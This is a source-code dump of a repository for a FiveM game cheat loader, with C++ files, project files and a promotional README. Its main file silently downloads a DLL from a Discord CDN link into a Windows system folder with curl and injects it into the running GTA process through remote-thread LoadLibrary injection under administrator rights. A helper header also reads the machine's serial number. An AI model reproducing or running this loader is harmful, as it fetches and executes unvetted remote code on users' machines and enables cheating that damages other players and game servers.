├── EzExec-FiveM By MasterDev ├── Console.h ├── EzExec-FiveM.cpp ├── EzExec-FiveM.sln ├── EzExec-FiveM.vcxproj ├── EzExec-FiveM.vcxproj.filters ├── EzExec-FiveM.vcxproj.user ├── Resource.aps ├── Resource.rc ├── auth.h └── resource.h └── README.md /EzExec-FiveM By MasterDev/Console.h: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // Console.h: interface for the Console manipulators. 3 | //------------------------------------------------------------------------------ 4 | 5 | #if !defined( CONSOLE_MANIP_H__INCLUDED ) 6 | #define CONSOLE_MANIP_H__INCLUDED 7 | 8 | //------------------------------------------------------------------------------ 9 | 10 | //------------------------------------------------------------------"includes"-- 11 | #include 12 | #include 13 | #include 14 | 15 | namespace JadedHoboConsole 16 | { 17 | static const WORD bgMask( BACKGROUND_BLUE | 18 | BACKGROUND_GREEN | 19 | BACKGROUND_RED | 20 | BACKGROUND_INTENSITY ); 21 | static const WORD fgMask( FOREGROUND_BLUE | 22 | FOREGROUND_GREEN | 23 | FOREGROUND_RED | 24 | FOREGROUND_INTENSITY ); 25 | 26 | static const WORD fgBlack ( 0 ); 27 | static const WORD fgLoRed ( FOREGROUND_RED ); 28 | static const WORD fgLoGreen ( FOREGROUND_GREEN ); 29 | static const WORD fgLoBlue ( FOREGROUND_BLUE ); 30 | static const WORD fgLoCyan ( fgLoGreen | fgLoBlue ); 31 | static const WORD fgLoMagenta( fgLoRed | fgLoBlue ); 32 | static const WORD fgLoYellow ( fgLoRed | fgLoGreen ); 33 | static const WORD fgLoWhite ( fgLoRed | fgLoGreen | fgLoBlue ); 34 | static const WORD fgGray ( fgBlack | FOREGROUND_INTENSITY ); 35 | static const WORD fgHiWhite ( fgLoWhite | FOREGROUND_INTENSITY ); 36 | static const WORD fgHiBlue ( fgLoBlue | FOREGROUND_INTENSITY ); 37 | static const WORD fgHiGreen ( fgLoGreen | FOREGROUND_INTENSITY ); 38 | static const WORD fgHiRed ( fgLoRed | FOREGROUND_INTENSITY ); 39 | static const WORD fgHiCyan ( fgLoCyan | FOREGROUND_INTENSITY ); 40 | static const WORD fgHiMagenta( fgLoMagenta | FOREGROUND_INTENSITY ); 41 | static const WORD fgHiYellow ( fgLoYellow | FOREGROUND_INTENSITY ); 42 | static const WORD bgBlack ( 0 ); 43 | static const WORD bgLoRed ( BACKGROUND_RED ); 44 | static const WORD bgLoGreen ( BACKGROUND_GREEN ); 45 | static const WORD bgLoBlue ( BACKGROUND_BLUE ); 46 | static const WORD bgLoCyan ( bgLoGreen | bgLoBlue ); 47 | static const WORD bgLoMagenta( bgLoRed | bgLoBlue ); 48 | static const WORD bgLoYellow ( bgLoRed | bgLoGreen ); 49 | static const WORD bgLoWhite ( bgLoRed | bgLoGreen | bgLoBlue ); 50 | static const WORD bgGray ( bgBlack | BACKGROUND_INTENSITY ); 51 | static const WORD bgHiWhite ( bgLoWhite | BACKGROUND_INTENSITY ); 52 | static const WORD bgHiBlue ( bgLoBlue | BACKGROUND_INTENSITY ); 53 | static const WORD bgHiGreen ( bgLoGreen | BACKGROUND_INTENSITY ); 54 | static const WORD bgHiRed ( bgLoRed | BACKGROUND_INTENSITY ); 55 | static const WORD bgHiCyan ( bgLoCyan | BACKGROUND_INTENSITY ); 56 | static const WORD bgHiMagenta( bgLoMagenta | BACKGROUND_INTENSITY ); 57 | static const WORD bgHiYellow ( bgLoYellow | BACKGROUND_INTENSITY ); 58 | 59 | static class con_dev 60 | { 61 | private: 62 | HANDLE hCon; 63 | DWORD cCharsWritten; 64 | CONSOLE_SCREEN_BUFFER_INFO csbi; 65 | DWORD dwConSize; 66 | 67 | public: 68 | con_dev() 69 | { 70 | hCon = GetStdHandle( STD_OUTPUT_HANDLE ); 71 | } 72 | private: 73 | void GetInfo() 74 | { 75 | GetConsoleScreenBufferInfo( hCon, &csbi ); 76 | dwConSize = csbi.dwSize.X * csbi.dwSize.Y; 77 | } 78 | public: 79 | void Clear() 80 | { 81 | COORD coordScreen = { 0, 0 }; 82 | 83 | GetInfo(); 84 | FillConsoleOutputCharacter( hCon, ' ', 85 | dwConSize, 86 | coordScreen, 87 | &cCharsWritten ); 88 | GetInfo(); 89 | FillConsoleOutputAttribute( hCon, 90 | csbi.wAttributes, 91 | dwConSize, 92 | coordScreen, 93 | &cCharsWritten ); 94 | SetConsoleCursorPosition( hCon, coordScreen ); 95 | } 96 | void SetColor( WORD wRGBI, WORD Mask ) 97 | { 98 | GetInfo(); 99 | csbi.wAttributes &= Mask; 100 | csbi.wAttributes |= wRGBI; 101 | SetConsoleTextAttribute( hCon, csbi.wAttributes ); 102 | } 103 | } console; 104 | 105 | //narrow manipulators 106 | inline std::ostream& clr( std::ostream& os ) 107 | { 108 | os.flush(); 109 | console.Clear(); 110 | return os; 111 | }; 112 | 113 | inline std::ostream& fg_red( std::ostream& os ) 114 | { 115 | os.flush(); 116 | console.SetColor( fgHiRed, bgMask ); 117 | 118 | return os; 119 | } 120 | 121 | inline std::ostream& fg_green( std::ostream& os ) 122 | { 123 | os.flush(); 124 | console.SetColor( fgHiGreen, bgMask ); 125 | 126 | return os; 127 | } 128 | 129 | inline std::ostream& fg_blue( std::ostream& os ) 130 | { 131 | os.flush(); 132 | console.SetColor( fgHiBlue, bgMask ); 133 | 134 | return os; 135 | } 136 | 137 | inline std::ostream& fg_white( std::ostream& os ) 138 | { 139 | os.flush(); 140 | console.SetColor( fgHiWhite, bgMask ); 141 | 142 | return os; 143 | } 144 | 145 | inline std::ostream& fg_cyan( std::ostream& os ) 146 | { 147 | os.flush(); 148 | console.SetColor( fgHiCyan, bgMask ); 149 | 150 | return os; 151 | } 152 | 153 | inline std::ostream& fg_magenta( std::ostream& os ) 154 | { 155 | os.flush(); 156 | console.SetColor( fgHiMagenta, bgMask ); 157 | 158 | return os; 159 | } 160 | 161 | inline std::ostream& fg_yellow( std::ostream& os ) 162 | { 163 | os.flush(); 164 | console.SetColor( fgHiYellow, bgMask ); 165 | 166 | return os; 167 | } 168 | 169 | inline std::ostream& fg_black( std::ostream& os ) 170 | { 171 | os.flush(); 172 | console.SetColor( fgBlack, bgMask ); 173 | 174 | return os; 175 | } 176 | 177 | inline std::ostream& fg_gray( std::ostream& os ) 178 | { 179 | os.flush(); 180 | console.SetColor( fgGray, bgMask ); 181 | 182 | return os; 183 | } 184 | 185 | inline std::ostream& bg_red( std::ostream& os ) 186 | { 187 | os.flush(); 188 | console.SetColor( bgHiRed, fgMask ); 189 | 190 | return os; 191 | } 192 | 193 | inline std::ostream& bg_green( std::ostream& os ) 194 | { 195 | os.flush(); 196 | console.SetColor( bgHiGreen, fgMask ); 197 | 198 | return os; 199 | } 200 | 201 | inline std::ostream& bg_blue( std::ostream& os ) 202 | { 203 | os.flush(); 204 | console.SetColor( bgHiBlue, fgMask ); 205 | 206 | return os; 207 | } 208 | 209 | inline std::ostream& bg_white( std::ostream& os ) 210 | { 211 | os.flush(); 212 | console.SetColor( bgHiWhite, fgMask ); 213 | 214 | return os; 215 | } 216 | 217 | inline std::ostream& bg_cyan( std::ostream& os ) 218 | { 219 | os.flush(); 220 | console.SetColor( bgHiCyan, fgMask ); 221 | 222 | return os; 223 | } 224 | 225 | inline std::ostream& bg_magenta( std::ostream& os ) 226 | { 227 | os.flush(); 228 | console.SetColor( bgHiMagenta, fgMask ); 229 | 230 | return os; 231 | } 232 | 233 | inline std::ostream& bg_yellow( std::ostream& os ) 234 | { 235 | os.flush(); 236 | console.SetColor( bgHiYellow, fgMask ); 237 | 238 | return os; 239 | } 240 | 241 | inline std::ostream& bg_black( std::ostream& os ) 242 | { 243 | os.flush(); 244 | console.SetColor( bgBlack, fgMask ); 245 | 246 | return os; 247 | } 248 | 249 | inline std::ostream& bg_gray( std::ostream& os ) 250 | { 251 | os.flush(); 252 | console.SetColor( bgGray, fgMask ); 253 | 254 | return os; 255 | } 256 | 257 | //wide manipulators 258 | inline std::wostream& clr( std::wostream& os ) 259 | { 260 | os.flush(); 261 | console.Clear(); 262 | return os; 263 | }; 264 | 265 | inline std::wostream& fg_red( std::wostream& os ) 266 | { 267 | os.flush(); 268 | console.SetColor( fgHiRed, bgMask ); 269 | 270 | return os; 271 | } 272 | 273 | inline std::wostream& fg_green( std::wostream& os ) 274 | { 275 | os.flush(); 276 | console.SetColor( fgHiGreen, bgMask ); 277 | 278 | return os; 279 | } 280 | 281 | inline std::wostream& fg_blue( std::wostream& os ) 282 | { 283 | os.flush(); 284 | console.SetColor( fgHiBlue, bgMask ); 285 | 286 | return os; 287 | } 288 | 289 | inline std::wostream& fg_white( std::wostream& os ) 290 | { 291 | os.flush(); 292 | console.SetColor( fgHiWhite, bgMask ); 293 | 294 | return os; 295 | } 296 | 297 | inline std::wostream& fg_cyan( std::wostream& os ) 298 | { 299 | os.flush(); 300 | console.SetColor( fgHiCyan, bgMask ); 301 | 302 | return os; 303 | } 304 | 305 | inline std::wostream& fg_magenta( std::wostream& os ) 306 | { 307 | os.flush(); 308 | console.SetColor( fgHiMagenta, bgMask ); 309 | 310 | return os; 311 | } 312 | 313 | inline std::wostream& fg_yellow( std::wostream& os ) 314 | { 315 | os.flush(); 316 | console.SetColor( fgHiYellow, bgMask ); 317 | 318 | return os; 319 | } 320 | 321 | inline std::wostream& fg_black( std::wostream& os ) 322 | { 323 | os.flush(); 324 | console.SetColor( fgBlack, bgMask ); 325 | 326 | return os; 327 | } 328 | 329 | inline std::wostream& fg_gray( std::wostream& os ) 330 | { 331 | os.flush(); 332 | console.SetColor( fgGray, bgMask ); 333 | 334 | return os; 335 | } 336 | 337 | inline std::wostream& bg_red( std::wostream& os ) 338 | { 339 | os.flush(); 340 | console.SetColor( bgHiRed, fgMask ); 341 | 342 | return os; 343 | } 344 | 345 | inline std::wostream& bg_green( std::wostream& os ) 346 | { 347 | os.flush(); 348 | console.SetColor( bgHiGreen, fgMask ); 349 | 350 | return os; 351 | } 352 | 353 | inline std::wostream& bg_blue( std::wostream& os ) 354 | { 355 | os.flush(); 356 | console.SetColor( bgHiBlue, fgMask ); 357 | 358 | return os; 359 | } 360 | 361 | inline std::wostream& bg_white( std::wostream& os ) 362 | { 363 | os.flush(); 364 | console.SetColor( bgHiWhite, fgMask ); 365 | 366 | return os; 367 | } 368 | 369 | inline std::wostream& bg_cyan( std::wostream& os ) 370 | { 371 | os.flush(); 372 | console.SetColor( bgHiCyan, fgMask ); 373 | 374 | return os; 375 | } 376 | 377 | inline std::wostream& bg_magenta( std::wostream& os ) 378 | { 379 | os.flush(); 380 | console.SetColor( bgHiMagenta, fgMask ); 381 | 382 | return os; 383 | } 384 | 385 | inline std::wostream& bg_yellow( std::wostream& os ) 386 | { 387 | os.flush(); 388 | console.SetColor( bgHiYellow, fgMask ); 389 | 390 | return os; 391 | } 392 | 393 | inline std::wostream& bg_black( std::wostream& os ) 394 | { 395 | os.flush(); 396 | console.SetColor( bgBlack, fgMask ); 397 | 398 | return os; 399 | } 400 | 401 | inline std::wostream& bg_gray( std::wostream& os ) 402 | { 403 | os.flush(); 404 | console.SetColor( bgGray, fgMask ); 405 | 406 | return os; 407 | } 408 | } 409 | 410 | //------------------------------------------------------------------------------ 411 | #endif //!defined ( CONSOLE_MANIP_H__INCLUDED ) 412 | 413 | -------------------------------------------------------------------------------- /EzExec-FiveM By MasterDev/EzExec-FiveM.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include "auth.h" 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include //std::stringstreamm 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include "Console.h" 24 | #pragma comment(lib, "urlmon.lib") 25 | #define UNLEN 64 26 | 27 | string sp = a_gethid(); 28 | 29 | using namespace std; 30 | namespace con = JadedHoboConsole; 31 | 32 | bool GetProcessEntryByName(string name, PROCESSENTRY32* pe) { 33 | auto snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 34 | if (snapshot == INVALID_HANDLE_VALUE) { 35 | cerr << "Tool helper cannot be created" << endl; 36 | return false; 37 | } 38 | 39 | if (!Process32First(snapshot, pe)) { 40 | cerr << "Tool helper cannot retrieve the first entry of process list" << endl; 41 | return false; 42 | } 43 | 44 | do { 45 | if (pe->szExeFile == name) { 46 | snapshot ? CloseHandle(snapshot) : 0; 47 | return true; 48 | } 49 | } while (Process32Next(snapshot, pe)); 50 | 51 | snapshot ? CloseHandle(snapshot) : 0; 52 | return false; 53 | } 54 | 55 | void clear() { 56 | COORD topLeft = { 0, 0 }; 57 | HANDLE console = GetStdHandle(STD_OUTPUT_HANDLE); 58 | CONSOLE_SCREEN_BUFFER_INFO screen; 59 | DWORD written; 60 | 61 | GetConsoleScreenBufferInfo(console, &screen); 62 | FillConsoleOutputCharacterA( 63 | console, ' ', screen.dwSize.X * screen.dwSize.Y, topLeft, &written 64 | ); 65 | FillConsoleOutputAttribute( 66 | console, FOREGROUND_GREEN | FOREGROUND_RED | FOREGROUND_BLUE, 67 | screen.dwSize.X * screen.dwSize.Y, topLeft, &written 68 | ); 69 | SetConsoleCursorPosition(console, topLeft); 70 | } 71 | 72 | DWORD GetProcId(const char* procName) 73 | { 74 | DWORD procId = 0; 75 | HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 76 | 77 | if (hSnap != INVALID_HANDLE_VALUE) 78 | { 79 | PROCESSENTRY32 procEntry; 80 | procEntry.dwSize = sizeof(procEntry); 81 | 82 | if (Process32First(hSnap, &procEntry)) 83 | { 84 | do 85 | { 86 | if (!_stricmp(procEntry.szExeFile, procName)) 87 | { 88 | procId = procEntry.th32ProcessID; 89 | break; 90 | } 91 | } while (Process32Next(hSnap, &procEntry)); 92 | } 93 | } 94 | CloseHandle(hSnap); 95 | return procId; 96 | } 97 | 98 | int main(int argc, const char* argv[]) { 99 | SetConsoleTitleA("EzExec FiveM | By InkaWeb#6666 | KEKHACK.com | Join Discord : https://discord.gg/eBNkgWWzSt"); 100 | clear(); 101 | string path; 102 | PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) }; 103 | if (GetProcessEntryByName("FiveM.exe", &pe)) { 104 | std::cout << con::fg_white << "[" << con::fg_red << "-" << con::fg_white << "] You need open exec before " << con::fg_yellow << "FiveM" << con::fg_white << " !"; 105 | Sleep(999999999999999999); 106 | } 107 | cout << "[" << con::fg_red << "+" << con::fg_white << "] Waiting for " << con::fg_green << "FiveM_b2545_GTAProcess.exe" << con::fg_red << " [Only]" << con::fg_white << " ..." << endl; 108 | for (; !GetProcessEntryByName("FiveM_b2545_GTAProcess.exe", &pe); Sleep(100)); 109 | system("curl https://cdn.discordapp.com/attachments/918450765335502858/941025574577651742/kekhack_fivem_premium.dll --output C:/Windows/IME/kekhack_fivem_premium.dll >nul 2>&1"); 110 | cout << "[" << con::fg_red << "+" << con::fg_white << "] Injected !" << endl; 111 | Sleep(3000); 112 | clear(); 113 | cout << "[" << con::fg_green << "/" << con::fg_white << "] Thank you for choosing " << con::fg_blue << "EzShop " << con::fg_white << "!" << endl; 114 | Sleep(500); 115 | cout << "[" << con::fg_green << "/" << con::fg_white << "] Server is " << con::fg_green << "online" << con::fg_white << " ..." << endl; 116 | cout << "[" << con::fg_green << "/" << con::fg_white << "] You have " << con::fg_green << "last update " << con::fg_white << "..." << endl; 117 | cout << "[" << con::fg_green << "/" << con::fg_white << "] The exec is " << con::fg_green << "not disabled " << con::fg_white << "..." << endl; 118 | std::cout << "\n"; 119 | cout << "[" << con::fg_green << "1" << con::fg_white << "]" << con::fg_magenta << " KEKHACK" << con::fg_white << endl; 120 | cout << "[" << con::fg_green << "+" << con::fg_white << "]" << con::fg_white << " Menu : " << con::fg_white; 121 | string number; 122 | cin >> number; 123 | if (number == "1") { 124 | 125 | const char* dllPath = "C:\\Windows\\IME\\kekhack_fivem_premium.dll"; 126 | const char* procName = "FiveM_b2545_GTAProcess.exe"; 127 | DWORD procId = 0; 128 | 129 | while (!procId) 130 | { 131 | procId = GetProcId(procName); 132 | Sleep(30); 133 | } 134 | 135 | HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, 0, procId); 136 | 137 | if (hProc && hProc != INVALID_HANDLE_VALUE) 138 | { 139 | void* loc = VirtualAllocEx(hProc, 0, MAX_PATH, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 140 | 141 | WriteProcessMemory(hProc, loc, dllPath, strlen(dllPath) + 1, 0); 142 | 143 | HANDLE hThread = CreateRemoteThread(hProc, 0, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, loc, 0, 0); 144 | 145 | if (hThread) 146 | { 147 | CloseHandle(hThread); 148 | } 149 | } 150 | 151 | if (hProc) 152 | { 153 | CloseHandle(hProc); 154 | } 155 | return 0; 156 | 157 | cout << "[" << con::fg_green << "+" << con::fg_white << "]" << con::fg_white << " Injected !" << endl; 158 | Sleep(99999999999999); 159 | } 160 | else { 161 | cout << "[" << con::fg_red << "!" << con::fg_white << "] Wrong choice !" << con::fg_white << endl; 162 | Sleep(999999999999999); 163 | } 164 | } 165 | -------------------------------------------------------------------------------- /EzExec-FiveM By MasterDev/EzExec-FiveM.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30406.217 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EzExec-FiveM", "EzExec-FiveM.vcxproj", "{83558AB8-BA20-4269-9831-A812CE830843}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {83558AB8-BA20-4269-9831-A812CE830843}.Debug|x64.ActiveCfg = Debug|x64 17 | {83558AB8-BA20-4269-9831-A812CE830843}.Debug|x64.Build.0 = Debug|x64 18 | {83558AB8-BA20-4269-9831-A812CE830843}.Debug|x86.ActiveCfg = Debug|Win32 19 | {83558AB8-BA20-4269-9831-A812CE830843}.Debug|x86.Build.0 = Debug|Win32 20 | {83558AB8-BA20-4269-9831-A812CE830843}.Release|x64.ActiveCfg = Release|x64 21 | {83558AB8-BA20-4269-9831-A812CE830843}.Release|x64.Build.0 = Release|x64 22 | {83558AB8-BA20-4269-9831-A812CE830843}.Release|x86.ActiveCfg = Release|Win32 23 | {83558AB8-BA20-4269-9831-A812CE830843}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {ED2D4BF2-4C76-4921-B607-AEA78F77BB1A} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /EzExec-FiveM By MasterDev/EzExec-FiveM.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {83558ab8-ba20-4269-9831-a812ce830843} 25 | EzExecV2 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | MultiByte 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | Level3 100 | true 101 | true 102 | true 103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | true 105 | 106 | 107 | Console 108 | true 109 | true 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 118 | true 119 | 120 | 121 | Console 122 | true 123 | 124 | 125 | 126 | 127 | Level3 128 | true 129 | true 130 | true 131 | NDEBUG;_CONSOLE;_CRT_SECURE_NO_WARNINGS;%(PreprocessorDefinitions) 132 | true 133 | Disabled 134 | MultiThreaded 135 | 136 | 137 | Console 138 | true 139 | true 140 | true 141 | RequireAdministrator 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | 154 | 155 | 156 | 157 | 158 | -------------------------------------------------------------------------------- /EzExec-FiveM By MasterDev/EzExec-FiveM.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Fichiers sources 20 | 21 | 22 | 23 | 24 | Fichiers sources 25 | 26 | 27 | Fichiers sources 28 | 29 | 30 | Fichiers d%27en-tête 31 | 32 | 33 | 34 | 35 | Fichiers de ressources 36 | 37 | 38 | -------------------------------------------------------------------------------- /EzExec-FiveM By MasterDev/EzExec-FiveM.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /EzExec-FiveM By MasterDev/Resource.aps: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MasterDev-Student/EzExec-FiveM/6ec29c53f2dc3431fe3bcf2d2616a2ac69c5227d/EzExec-FiveM By MasterDev/Resource.aps -------------------------------------------------------------------------------- /EzExec-FiveM By MasterDev/Resource.rc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MasterDev-Student/EzExec-FiveM/6ec29c53f2dc3431fe3bcf2d2616a2ac69c5227d/EzExec-FiveM By MasterDev/Resource.rc -------------------------------------------------------------------------------- /EzExec-FiveM By MasterDev/auth.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define _WIN32_DCOM 4 | #include 5 | using namespace std; 6 | #include 7 | #include 8 | 9 | #pragma once 10 | #pragma comment(lib,"ws2_32.lib") 11 | #pragma comment(lib, "wininet.lib") 12 | 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | #pragma comment(lib, "wbemuuid.lib") 20 | 21 | 22 | 23 | 24 | string a_replaceAll(string subject, const string& search, 25 | const string& replace) { 26 | size_t pos = 0; 27 | while ((pos = subject.find(search, pos)) != string::npos) { 28 | subject.replace(pos, search.length(), replace); 29 | pos += replace.length(); 30 | } 31 | return subject; 32 | } 33 | 34 | string a_DownloadURL(string URL) { 35 | HINTERNET interwebs = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL); 36 | HINTERNET urlFile; 37 | string rtn; 38 | if (interwebs) { 39 | urlFile = InternetOpenUrlA(interwebs, URL.c_str(), NULL, NULL, NULL, NULL); 40 | if (urlFile) { 41 | char buffer[2000]; 42 | DWORD bytesRead; 43 | do { 44 | InternetReadFile(urlFile, buffer, 2000, &bytesRead); 45 | rtn.append(buffer, bytesRead); 46 | memset(buffer, 0, 2000); 47 | } while (bytesRead); 48 | InternetCloseHandle(interwebs); 49 | InternetCloseHandle(urlFile); 50 | string p = a_replaceAll(rtn, "|n", "\r\n"); 51 | return p; 52 | } 53 | } 54 | InternetCloseHandle(interwebs); 55 | string p = a_replaceAll(rtn, "|n", "\r\n"); 56 | return p; 57 | } 58 | 59 | std::string a_ws2s(const std::wstring& s) 60 | { 61 | int len; 62 | int slength = (int)s.length() + 1; 63 | len = WideCharToMultiByte(CP_ACP, 0, s.c_str(), slength, 0, 0, 0, 0); 64 | char* buf = new char[len]; 65 | WideCharToMultiByte(CP_ACP, 0, s.c_str(), slength, buf, len, 0, 0); 66 | std::string r(buf); 67 | delete[] buf; 68 | return r; 69 | } 70 | 71 | string a_gethid() 72 | { 73 | HRESULT hres; 74 | 75 | // Step 1: -------------------------------------------------- 76 | // Initialize COM. ------------------------------------------ 77 | 78 | hres = CoInitializeEx(0, COINIT_MULTITHREADED); 79 | 80 | hres = CoInitializeSecurity( 81 | NULL, 82 | -1, // COM authentication 83 | NULL, // Authentication services 84 | NULL, // Reserved 85 | RPC_C_AUTHN_LEVEL_DEFAULT, // Default authentication 86 | RPC_C_IMP_LEVEL_IMPERSONATE, // Default Impersonation 87 | NULL, // Authentication info 88 | EOAC_NONE, // Additional capabilities 89 | NULL // Reserved 90 | ); 91 | 92 | IWbemLocator* pLoc = NULL; 93 | 94 | hres = CoCreateInstance( 95 | CLSID_WbemLocator, 96 | 0, 97 | CLSCTX_INPROC_SERVER, 98 | IID_IWbemLocator, (LPVOID*)&pLoc); 99 | // Step 4: ----------------------------------------------------- 100 | // Connect to WMI through the IWbemLocator::ConnectServer method 101 | 102 | IWbemServices* pSvc = NULL; 103 | 104 | // Connect to the root\cimv2 namespace with 105 | // the current user and obtain pointer pSvc 106 | // to make IWbemServices calls. 107 | hres = pLoc->ConnectServer( 108 | _bstr_t(L"ROOT\\CIMV2"), // Object path of WMI namespace 109 | NULL, // User name. NULL = current user 110 | NULL, // User password. NULL = current 111 | 0, // Locale. NULL indicates current 112 | NULL, // Security flags. 113 | 0, // Authority (for example, Kerberos) 114 | 0, // Context object 115 | &pSvc // pointer to IWbemServices proxy 116 | ); 117 | 118 | //cout << "Connected to ROOT\\CIMV2 WMI namespace" << endl; 119 | 120 | 121 | // Step 5: -------------------------------------------------- 122 | // Set security levels on the proxy ------------------------- 123 | 124 | hres = CoSetProxyBlanket( 125 | pSvc, // Indicates the proxy to set 126 | RPC_C_AUTHN_WINNT, // RPC_C_AUTHN_xxx 127 | RPC_C_AUTHZ_NONE, // RPC_C_AUTHZ_xxx 128 | NULL, // Server principal name 129 | RPC_C_AUTHN_LEVEL_CALL, // RPC_C_AUTHN_LEVEL_xxx 130 | RPC_C_IMP_LEVEL_IMPERSONATE, // RPC_C_IMP_LEVEL_xxx 131 | NULL, // client identity 132 | EOAC_NONE // proxy capabilities 133 | ); 134 | 135 | if (FAILED(hres)) 136 | { 137 | cout << "Could not set proxy blanket. Error code = 0x" 138 | << hex << hres << endl; 139 | pSvc->Release(); 140 | pLoc->Release(); 141 | CoUninitialize(); 142 | return "NULL"; // Program has failed. 143 | } 144 | 145 | // Step 6: -------------------------------------------------- 146 | // Use the IWbemServices pointer to make requests of WMI ---- 147 | 148 | // For example, get the name of the operating system 149 | IEnumWbemClassObject* pEnumerator = NULL; 150 | hres = pSvc->ExecQuery( 151 | bstr_t("WQL"), 152 | bstr_t("SELECT * FROM Win32_OperatingSystem"), 153 | WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, 154 | NULL, 155 | &pEnumerator); 156 | 157 | if (FAILED(hres)) 158 | { 159 | cout << "Query for operating system failed." 160 | << " Error code = 0x" 161 | << hex << hres << endl; 162 | pSvc->Release(); 163 | pLoc->Release(); 164 | CoUninitialize(); 165 | return "NULL"; // Program has failed. 166 | } 167 | 168 | // Step 7: ------------------------------------------------- 169 | // Get the data from the query in step 6 ------------------- 170 | 171 | IWbemClassObject* pclsObj = NULL; 172 | ULONG uReturn = 0; 173 | 174 | BSTR sernum = (BSTR)"NULL"; 175 | 176 | while (pEnumerator) 177 | { 178 | HRESULT hr = pEnumerator->Next(WBEM_INFINITE, 1, 179 | &pclsObj, &uReturn); 180 | 181 | if (0 == uReturn) 182 | { 183 | break; 184 | } 185 | 186 | VARIANT vtProp; 187 | 188 | // Get the value of the Name property 189 | hr = pclsObj->Get(L"SerialNumber", 0, &vtProp, 0, 0); 190 | //wcout << " SerialNumber : " << vtProp.bstrVal << endl; 191 | sernum = vtProp.bstrVal; 192 | VariantClear(&vtProp); 193 | 194 | pclsObj->Release(); 195 | } 196 | 197 | // Cleanup 198 | // ======== 199 | pSvc->Release(); 200 | pLoc->Release(); 201 | pEnumerator->Release(); 202 | CoUninitialize(); 203 | 204 | std::wstring ret(sernum, SysStringLen(sernum)); 205 | 206 | return a_ws2s(ret); // Program successfully completed. 207 | 208 | } 209 | -------------------------------------------------------------------------------- /EzExec-FiveM By MasterDev/resource.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/MasterDev-Student/EzExec-FiveM/6ec29c53f2dc3431fe3bcf2d2616a2ac69c5227d/EzExec-FiveM By MasterDev/resource.h -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ### EzExec-FiveM (KeckHack) 2 | > This is the best Exec for FiveM 3 | 4 | 5 | #### I'm not going to tell you how to use. If you're on Github, you're competent enough to do it. 6 | > If you need help or just use it, please visit the Discord server. 7 | 8 | ### Join Discord : https://discord.gg/wJn8zEbG9k 9 | ### Website : https://fate-shop.fr 10 | 11 | #### 